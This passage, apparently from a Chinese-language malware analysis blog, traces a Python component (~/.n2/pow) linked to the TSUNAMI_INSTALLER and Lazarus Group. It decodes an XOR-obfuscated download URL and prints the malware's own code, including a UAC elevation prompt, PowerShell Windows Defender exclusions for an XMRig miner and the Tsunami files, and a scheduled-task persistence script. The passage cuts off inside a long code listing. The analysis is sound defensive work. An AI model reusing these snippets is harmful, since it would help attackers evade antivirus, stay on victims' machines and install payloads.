class="number">4834525049776</span>b<span class="number">6</span>d<span class="number">43513</span>d<span class="number">3</span>d<span class="number">227</span>d</span><br></pre></td></tr></table></figure><p>這個內容也再經過 XOR 解密,key &#x3D; <code>!!!HappyPenguin1950!!!</code> + base64decode + 反轉之後會得到</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="string">&quot;431377230028290d32085717112e200063720958456614516d3238413d2a6455200d301c20756c4c7c4b6c586d58197e023822493124535a&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;signature&quot;</span><span class="punctuation">:</span> <span class="string">&quot;j3ciiGs3VVNcSTecM4e1ZLA0tqd2dVj9Ug1u6O3xrg9nfanfi8JrIaTfQxjRizPsPX4ZDXB+IKhiD5ZqqcWDQLGp5OUQC8M9UvxUhwq/Ymt53G2adyiceG9BeHbHqnHzbupuhpurC+ihBvf5n43Mm8y7q+AibzNbmYpVUfbvoBRMi3rQKUKKH15HeMGjNxJWXmodZto+Ne9/40CO3tAy1smU439PtlSQYSkpp0gytwHL5zlMAzDhLLF9eecOmsLiCcbVEiKvjUyApJ2AmUw2h6JYZFigc/EsaEZS9YWoGfuiVeCOslvQ3jiwgEWvorpePQ1oS1q0CwMZH4RPIwkmCQ==&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>他會先去驗證這個 signature ，驗證方式是在程式當中有 hard code 一個十六進制編碼的 RSA 公鑰</p><figure class="highlight vbnet"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">-----BEGIN <span class="keyword">PUBLIC</span> <span class="keyword">KEY</span>-----</span><br><span class="line">MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvRgxN5vWny1/dAc7s6KM</span><br><span class="line">ZURyqQti1OE11PkaXPY32E39TKau6vD+QntWKNTFI53WmkvY6YbLGf06oiZ99uYd</span><br><span class="line">TkeL/gtKfnaPPOt1mADL9R3nFwvyWABw7Q41NgYlu7XHMiTUuh/TRPvOiXL5yKx+<span class="number">4</span></span><br><span class="line">PnXsN+sE93pk2qNpB+cnJ1/b4re89xuNpD9HQjzsda3PNOD13s7OL7fq+<span class="number">74</span>tY4oc</span><br><span class="line">MQ6BNFOq9J46xd/<span class="number">4</span>jay8n/q33v3PgwwoL6TQR5grUdfblXZ8WZzxXVKEqMtqJtmR</span><br><span class="line">M8zjHoods0PoopOS6IzoYD+anchz5JCKHBrrMXd8g+A2hMq+W5lEkIvtbe1dPXsn</span><br><span class="line">CQIDAQAB</span><br><span class="line">-----<span class="keyword">END</span> <span class="keyword">PUBLIC</span> <span class="keyword">KEY</span>-----</span><br></pre></td></tr></table></figure><p>並利用以下程式碼驗證 message 是否有被修改過</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">trusted_public_key.verify(</span><br><span class="line">    signature,</span><br><span class="line">    message.encode(<span class="string">&quot;utf-8&quot;</span>),</span><br><span class="line">    padding.PSS(</span><br><span class="line">        mgf=padding.MGF1(hashes.SHA256()),</span><br><span class="line">        salt_length=padding.PSS.MAX_LENGTH</span><br><span class="line">    ),</span><br><span class="line">    hashes.SHA256()</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>驗證通過後會對message內的內容進行 XOR 解密,key &#x3D; <code>!!!HappyPenguin1950!!!</code> + base64decode + 反轉，解密之後得到</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://23.254.164[.]156/introduction-video</span><br></pre></td></tr></table></figure><p>他會去訪問他並下載回傳檔案，儲存在<code>&#123;ROAMING_APPDATA_PATH&#125; \Microsoft\Windows \Applications \Runtime Broker.exe</code></p><p>下載的檔案 sha256 ： <code>ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527</code></p><p>根據 <a href="https://www.virustotal.com/gui/file/ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527/detection">VirusTotal</a> ，這個是一個已知的惡意程式，並且這個惡意程式在<code>~/.n2/pow </code> 被成為TSUNAMI_INSTALLER。</p><p>而 TSUNAMI_INSTALLER 在 <a href="https://research.hisolutions.com/2025/04/rolling-in-the-deepweb-lazarus-tsunami/">https://research.hisolutions.com/2025/04/rolling-in-the-deepweb-lazarus-tsunami/</a> 這篇分析報告提到是被 Lazarus Group 使用的</p><p>此外他還會持續的向使用者請求 UAC 權限，去執行 TSUNAMI_PAYLOAD_PATH 這個 TSUNAMI_PAYLOAD_PATH 路徑為<code>C:\Users\&lt;Username&gt;\AppData\Local\Temp\&lt;16位隨機亂碼&gt;</code> 這是也是 Hard code 的程式碼在此程式被寫入進去</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">execute_payload_with_uac</span>() -&gt; <span class="built_in">bool</span>:</span><br><span class="line">    <span class="comment"># Get the filepath of the pythonw.exe</span></span><br><span class="line"></span><br><span class="line">    py_exe = sys.executable</span><br><span class="line">    py_exe = py_exe.replace(<span class="string">&quot;python.exe&quot;</span>, <span class="string">&quot;pythonw.exe&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Execute the payload with UAC</span></span><br><span class="line"></span><br><span class="line">    result = ctypes.windll.shell32.ShellExecuteW(</span><br><span class="line">        <span class="literal">None</span>,</span><br><span class="line">        <span class="string">&quot;runas&quot;</span>,</span><br><span class="line">        py_exe,</span><br><span class="line">        <span class="string">f&#x27;&quot;<span class="subst">&#123;TSUNAMI_PAYLOAD_PATH&#125;</span>&quot;&#x27;</span>,</span><br><span class="line">        <span class="literal">None</span>,</span><br><span class="line">        <span class="number">1</span></span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Return true if it worked, false if it failed</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> result &lt;= <span class="number">32</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="comment">#hel p me</span></span><br></pre></td></tr></table></figure><h5 id="C-Users-AppData-Local-Temp"><a href="#C-Users-AppData-Local-Temp" class="headerlink" title="C:\Users&lt;Username&gt;\AppData\Local\Temp\&lt;16位隨機亂碼&gt;"></a>C:\Users&lt;Username&gt;\AppData\Local\Temp\&lt;16位隨機亂碼&gt;</h5><p>這個檔案被稱為是 TSUNAMI_PAYLOAD</p><p>會執行以下操作</p><ul><li><p>將三個路徑加入 Windows Defender 的排除名單，並且根據原程式的註解，可以得知到他們代表什麼惡意程式</p><ul><li><p>Tsunami Installer:<code>%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe</code></p></li><li><p>Tsunami Client:<code>%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe</code></p></li><li><p>XMRig miner: <code>%LOCALAPPDATA%\Microsoft\Windows\Applications\msedge.exe</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">EXCEPTION_PATHS = [</span><br><span class="line">        <span class="comment"># Tsunami Installer</span></span><br><span class="line">        <span class="string">rf&quot;<span class="subst">&#123;ROAMING_APPDATA_PATH&#125;</span>\Microsoft\Windows\Applications\Runtime Broker.exe&quot;</span>,</span><br><span class="line">        <span class="comment"># Tsunami Client</span></span><br><span class="line">        <span class="string">rf&quot;<span class="subst">&#123;LOCAL_APPDATA_PATH&#125;</span>\Microsoft\Windows\Applications\Runtime Broker.exe&quot;</span>,</span><br><span class="line">        <span class="comment"># XMRig miner</span></span><br><span class="line">        <span class="string">rf&quot;<span class="subst">&#123;LOCAL_APPDATA_PATH&#125;</span>\Microsoft\Windows\Applications\msedge.exe&quot;</span></span><br><span class="line">    ]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> filepath <span class="keyword">in</span> EXCEPTION_PATHS:</span><br><span class="line">        add_windows_defender_exception(filepath)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add_windows_defender_exception</span>(<span class="params">filepath: <span class="built_in">str</span></span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        subprocess.run(</span><br><span class="line">            [<span class="string">&quot;powershell.exe&quot;</span>, <span class="string">f&quot;Add-MpPreference -ExclusionPath &#x27;<span class="subst">&#123;filepath&#125;</span>&#x27;&quot;</span>],</span><br><span class="line">            shell = <span class="literal">True</span>,</span><br><span class="line">            creationflags = subprocess.CREATE_NO_WINDOW,</span><br><span class="line">            stdout = subprocess.PIPE,</span><br><span class="line">            stderr = subprocess.PIPE,</span><br><span class="line">            stdin = subprocess.PIPE</span><br><span class="line">        )</span><br><span class="line"></span><br><span class="line">        output(<span class="string">f&quot;Added a new file to the Windows Defender exception&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        output(<span class="string">f&quot;[-] Failed to add Windows Defender exception: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure></li></ul></li><li><p>建立 Scheduleled Task ，名稱為 ： Runtim broker</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">powershell_script = f\<span class="string">&quot;\&quot;\&quot;</span></span><br><span class="line"><span class="string">        $Action = New-ScheduledTaskAction -Execute &quot;</span>&#123;TSUNAMI_INSTALLER_PATH&#125;<span class="string">&quot;</span></span><br><span class="line"><span class="string">        $Trigger = New-ScheduledTaskTrigger -AtLogOn</span></span><br><span class="line"><span class="string">        $Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive</span></span><br><span class="line"><span class="string">        $Principal.RunLevel = 1</span></span><br><span class="line"><span class="string">        $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontStopOnIdleEnd</span></span><br><span class="line"><span class="string">        Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -TaskName &quot;</span>Runtime Broke<span class="string">r&quot;</span></span><br><span class="line"><span class="string">                         \&quot;\&quot;\&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    try:</span></span><br><span class="line"><span class="string">        subprocess.run(</span></span><br><span class="line"><span class="string">            [&quot;</span>powershell.exe<span class="string">&quot;,&quot;</span>-Command<span class="string">&quot;, powershell_script],</span></span><br><span class="line"><span class="string">            check = True,</span></span><br><span class="line"><span class="string">            creationflags = subprocess.CREATE_NO_WINDOW</span></span><br><span class="line"><span class="string">        )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        output(&quot;</span>[+] Successfully created the task<span class="string">&quot;)</span></span><br><span class="line"><span class="string">    except Exception as e:</span></span><br><span class="line"><span class="string">        output(f&quot;</span>[-] Failed to create the task: &#123;e&#125;<span class="string">&quot;)</span></span><br><span class="line"><span class="string"></span></span><br></pre></td></tr></table></figure></li></ul><h5 id="n2-pow-完整程式"><a href="#n2-pow-完整程式" class="headerlink" title="~&#x2F;.n2&#x2F;pow 完整程式"></a>~&#x2F;.n2&#x2F;pow 完整程式</h5><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br><span class="line">640</span><br><span class="line">641</span><br><span class="line">642</span><br><span class="line">643</span><br><span class="line">644</span><br><span class="line">645</span><br><span class="line">646</span><br><span class="line">647</span><br><span class="line">648</span><br><span class="line">649</span><br><span class="line">650</span><br><span class="line">651</span><br><span class="line">652</span><br><span class="line">653</span><br><span class="line">654</span><br><span class="line">655</span><br><span class="line">656</span><br><span class="line">657</span><br><span class="line">658</span><br><span class="line">659</span><br><span class="line">660</span><br><span class="line">661</span><br><span class="line">662</span><br><span class="line">663</span><br><span class="line">664</span><br><span class="line">665</span><br><span class="line">666</span><br><span class="line">667</span><br><span class="line">668</span><br><span class="line">669</span><br><span class="line">670</span><br><span class="line">671</span><br><span class="line">672</span><br><span class="line">673</span><br><span class="line">674</span><br><span class="line">675</span><br><span class="line">676</span><br><span class="line">677</span><br><span class="line">678</span><br><span class="line">679</span><br><span class="line">680</span><br><span class="line">681</span><br><span class="line">682</span><br><span class="line">683</span><br><span class="line">684</span><br><span class="line">685</span><br><span class="line">686</span><br><span class="line">687</span><br><span class="line">688</span><br><span class="line">689</span><br><span class="line">690</span><br><span class="line">691</span><br><span class="line">692</span><br><span class="line">693</span><br><span class="line">694</span><br><span class="line">695</span><br><span class="line">696</span><br><span class="line">697</span><br><span class="line">698</span><br><span class="line">699</span><br><span class="line">700</span><br><span class="line">701</span><br><span class="line">702</span><br><span class="line">703</span><br><span class="line">704</span><br><span class="line">705</span><br><span class="line">706</span><br><span class="line">707</span><br><span class="line">708</span><br><span class="line">709</span><br><span class="line">710</span><br><span class="line">711</span><br><span class="line">712</span><br><span class="line">713</span><br><span class="line">714</span><br><span class="line">715</span><br><span class="line">716</span><br><span class="line">717</span><br><span class="line">718</span><br><span class="line">719</span><br><span class="line">720</span><br><span class="line">721</span><br><span class="line">722</span><br><span class="line">723</span><br><span class="line">724</span><br><span class="line">725</span><br><span class="line">726</span><br><span class="line">727</span><br><span class="line">728</span><br><span class="line">729</span><br><span class="line">730</span><br><span class="line">731</span><br><span class="line">732</span><br><span class="line">733</span><br><span class="line">734</span><br><span class="line">735</span><br><span class="line">736</span><br><span class="line">737</span><br><span class="line">738</span><br><span class="line">739</span><br><span class="line">740</span><br><span class="line">741</span><br><span class="line">742</span><br><span class="line">743</span><br><span class="line">744</span><br><span class="line">745</span><br><span 